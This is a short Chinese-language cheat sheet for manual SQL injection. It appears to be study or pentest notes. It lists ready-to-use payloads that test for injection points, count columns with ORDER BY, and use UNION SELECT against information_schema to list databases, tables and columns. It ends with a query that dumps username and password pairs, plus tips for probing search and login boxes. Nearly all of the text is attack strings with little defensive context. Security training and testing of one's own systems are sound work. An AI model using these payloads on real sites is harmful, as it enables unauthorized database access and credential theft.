一、Sql簡單手注的一般思路:
1、 先看是不是注入點(字符型、整型)
2、 判斷字段數
3、 判斷是否可以用union聯合查詢(是否有顯示位)
4、 獲取所有數據庫名
5、 獲取數據庫中表名
6、 獲取表中的字段名
7、 獲取字段中的信息數據
1、 先看是不是注入點
*加單引號 (‘)如果報錯則可能存在
輸入?2-1頁面變化(數值型)
*數字型:and 1=1正常;and 1=2報錯
or 2>1 正常;or 1>2 報錯
xor 1=1 報錯;xor 1=2 正常
and 1=1 url編碼:%41%4E%44%20%%31%3D%31
-0 頁面不變;-1頁面錯誤
*字符型:閉合方式加單引號(雙引號、圓括號)
加#;%27;--+是否可以閉合
‘and ‘1’=’1正常;’and ‘1’=’2報錯
*終止字符串:--;#;%23;%00;/*
終止方法:--,‘--,’)--,)--,’))--,))—
2、 判斷字段數
1’ order by 1 --+
1’ order by 2 --+
…直到報錯
(數字型注入的參數是正確的或沒有單引號)
3、 判斷是否可以用union聯合查詢(是否有顯示位)
1‘ union select 1,2,3… --+
4、 獲取所有數據庫名
1‘ union select 1,2,database() --+
@@basedir 查詢數據庫安裝路徑
@@datadir 查詢數據庫所在目錄
version() 查詢數據庫的版本
user() 查詢當前數據庫的使用用戶
database() 當前使用數據庫的名字
5、 獲取數據庫中的表名
id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
6、獲取表中的字段
id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
7、獲取字段的信息數據
id=0' union select 1,group_concat(username,0x3a,password),3 from users --+
二、其他簡單注入
1、搜索框
搜索’,&,[,],%,$,@等特殊字符,如果返回正常可能存在注入
%' and 1=1 and '%'='% ;%' and 1=2 and '%'='%
2、登錄框
使用#,--都無效,但是使用\報錯,這時候上sqlmap,可能有注入
